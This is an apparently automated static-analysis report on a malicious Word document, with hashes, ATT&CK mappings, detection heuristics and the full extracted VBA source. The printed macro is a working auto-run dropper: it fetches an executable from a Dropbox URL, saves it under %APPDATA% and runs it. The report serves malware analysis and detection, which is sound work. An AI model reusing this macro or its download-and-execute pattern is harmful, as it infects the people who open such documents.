Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cac645dcaf52339f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2014-03-03 22:47:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: e41518076d35f0be2d22075afeef697f SHA-1: e2b8243c09dbb56b42416177d17fea46eca5e7ba SHA-256: cac645dcaf52339f4245906a9b9b24f7cced03de0c16ea1ab0a3de72c30270ea
386 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. The Auto_Open macro utilizes WScript.Shell to download an executable from 'https://dl.dropboxusercontent.com/s/6btbqplvqinwqp6/grhgg5567785566.exe' and saves it to '%APPDATA%\QZICBWZCUAN\SQHJRFRZOXO.com', then attempts to execute it. This behavior is consistent with a macro-based dropper.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set KAPSEZCMTQY = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write VSSCWLASWID.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set KAPSEZCMTQY = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
    • https://dl.dropboxusercontent.com/s/6btbqplvqinwqp6/grhgg5567785566.exeReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2130 bytes
SHA-256: 34d82ba823de1ffcac62780058afed00a5e96112c438e0c0954918fa17757a5b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
SEJVSYNAUFP
End Sub
Sub SEJVSYNAUFP()
Set KAPSEZCMTQY = CreateObject("WScript.Shell")
PUDQBBGWPPK = KAPSEZCMTQY.ExpandEnvironmentStrings("%APPDATA%")
Dim BHKALMZQZLY: BHKALMZQZLY = PUDQBBGWPPK & "\QZICBWZCUAN"

 Set HOAAMSEEGYQ = CreateObject("Scripting.FileSystemObject")
   If (HOAAMSEEGYQ.FolderExists(BHKALMZQZLY)) Then
   Else
   Set oHOAAMSEEGYQ = CreateObject("Scripting.FileSystemObject")
      oHOAAMSEEGYQ.CreateFolder BHKALMZQZLY
   
End If
Dim MUIBLLSFGBG: Set MUIBLLSFGBG = CreateObject("Adodb.Stream")
Dim VSSCWLASWID: Set VSSCWLASWID = CreateObject("Microsoft.XMLHTTP")
VSSCWLASWID.Open "GET", "https://dl.dropboxusercontent.com/s/6btbqplvqinwqp6/grhgg5567785566.exe", False
VSSCWLASWID.Send
With MUIBLLSFGBG
    .Type = 1
    .Open
    .write VSSCWLASWID.responseBody
    .savetofile PUDQBBGWPPK & "\QZICBWZCUAN\SQHJRFRZOXO.com", 2
End With
Call ZJEAMSLIQCI(BHKALMZQZLY)
End Sub
Function ZJEAMSLIQCI(PRSXSSSMNDR)
    Dim HOAAMSEEGYQ, UPORBXMUYPZ, AAGNDMJAKZV, GMOQAPNRKIL, JOPLUROWWET, HOZUYORVGOQ
    Dim YICDLWXHGER
    Set YICDLWXHGER = CreateObject("WScript.Shell")
    JOPLUROWWET = ""
    Set HOAAMSEEGYQ = CreateObject("Scripting.FileSystemObject")
    If (HOAAMSEEGYQ.FolderExists(PRSXSSSMNDR)) Then
        Set UPORBXMUYPZ = HOAAMSEEGYQ.GetFolder(PRSXSSSMNDR)
        Set AAGNDMJAKZV = UPORBXMUYPZ.Files
        
        For Each GMOQAPNRKIL In AAGNDMJAKZV
        Dim NEARGQZZPCW
        NEARGQZZPCW = PRSXSSSMNDR & "\" & GMOQAPNRKIL.Name
        YICDLWXHGER.Run Chr(34) & NEARGQZZPCW & Chr(34), 1, True
    Next
        Set GMOQAPNRKIL = Nothing
        Set AAGNDMJAKZV = Nothing
        Set UPORBXMUYPZ = Nothing
    End If
    Set HOAAMSEEGYQ = Nothing
End Function
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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